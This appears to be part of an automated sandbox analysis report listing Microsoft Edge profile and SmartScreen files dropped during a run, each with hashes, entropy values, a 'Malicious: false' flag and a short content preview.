SHA-256:	7727C83C240BC39FFEF51C8DD577E1C3F95290E4398EB31043374A9D127971F4
SHA-512:	7E6FE8F17216CBCAAA65E95D7440B06B100180213B7CF8625221F38FE603BCF168F661D39228B63519CDB05228C54A23E3210BBFB03AEFBC526E49F37B2054DF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3cf86.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089772531382475
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWMdi1zNtPMhkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynYekzItSmd6qE7lFoC
MD5:	8B28A5C383B64FC5202C808D01F50C57
SHA1:	2449F3B9AB03C0F3044642E919ECB0C3EAB972C7
SHA-256:	7727C83C240BC39FFEF51C8DD577E1C3F95290E4398EB31043374A9D127971F4
SHA-512:	7E6FE8F17216CBCAAA65E95D7440B06B100180213B7CF8625221F38FE603BCF168F661D39228B63519CDB05228C54A23E3210BBFB03AEFBC526E49F37B2054DF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF425b4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089772531382475
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWMdi1zNtPMhkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynYekzItSmd6qE7lFoC
MD5:	8B28A5C383B64FC5202C808D01F50C57
SHA1:	2449F3B9AB03C0F3044642E919ECB0C3EAB972C7
SHA-256:	7727C83C240BC39FFEF51C8DD577E1C3F95290E4398EB31043374A9D127971F4
SHA-512:	7E6FE8F17216CBCAAA65E95D7440B06B100180213B7CF8625221F38FE603BCF168F661D39228B63519CDB05228C54A23E3210BBFB03AEFBC526E49F37B2054DF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4b998.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089772531382475
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWMdi1zNtPMhkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynYekzItSmd6qE7lFoC
MD5:	8B28A5C383B64FC5202C808D01F50C57
SHA1:	2449F3B9AB03C0F3044642E919ECB0C3EAB972C7
SHA-256:	7727C83C240BC39FFEF51C8DD577E1C3F95290E4398EB31043374A9D127971F4
SHA-512:	7E6FE8F17216CBCAAA65E95D7440B06B100180213B7CF8625221F38FE603BCF168F661D39228B63519CDB05228C54A23E3210BBFB03AEFBC526E49F37B2054DF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF51b7e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089772531382475
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWMdi1zNtPMhkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynYekzItSmd6qE7lFoC
MD5:	8B28A5C383B64FC5202C808D01F50C57
SHA1:	2449F3B9AB03C0F3044642E919ECB0C3EAB972C7
SHA-256:	7727C83C240BC39FFEF51C8DD577E1C3F95290E4398EB31043374A9D127971F4
SHA-512:	7E6FE8F17216CBCAAA65E95D7440B06B100180213B7CF8625221F38FE603BCF168F661D39228B63519CDB05228C54A23E3210BBFB03AEFBC526E49F37B2054DF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.01752679754216
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXlShV:YWLSGTt1o9LuLgfGBPAzkVj/T8lsX
MD5:	6252B8263FC845B47CDF1F05F84A229F
SHA1:	56BB20F60A35F9BE9D9D68A8380B4B68516FEB48
SHA-256:	A443B04A2B6F2A7C7F78E88BE946AF1C2042F3A84528B4FEF1E5C8E2FFB8FBD6
SHA-512:	EF21126BC2DBE3BAAB64A99D5439E0CD0B8D00B9795F1C31350F8661942D0B2A9170DD046E2AE627AEAD70E366DD8FCF3F5F8918E40EC38AEAC452F92FDF5965
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732735898126580}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a2eb12c0-4edb-44e0-8410-972d64cf58c1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46491
Entropy (8bit):	6.0863670509548875
Encrypted:	false
SSDEEP:	768:2MkbJrT8IeQc5r9mf7i1zNtBigX60Ffx4F7BIQmxgpCioFJDSgzMMd6qD47u309:2Mk1rT8HT93OIQ9FoFtSmd6qE7v
MD5:	EB00422AEC7D3D3762BCBB9F2C3665F9
SHA1:	86E5E7DA7D7C2223B25EEBFAEB2CAB3BD01BA53F
SHA-256:	A07BDB5AD6FF9FD05806729302DA9EA4192135D6FF00CD63C684D010B06D4BDD
SHA-512:	23DA367F6707BCF4C3BF00361C10E8548194F54FDE50C3C0AD6480AAF3EB248C755494AA1FB8CC1CE5EAF6EC4D715D96C4357F1F71616C39F0643679C1361C89
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13377108693133926","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"5eb8f25e-a76c-4553-b186-d0424edac3c6"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732635098"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxL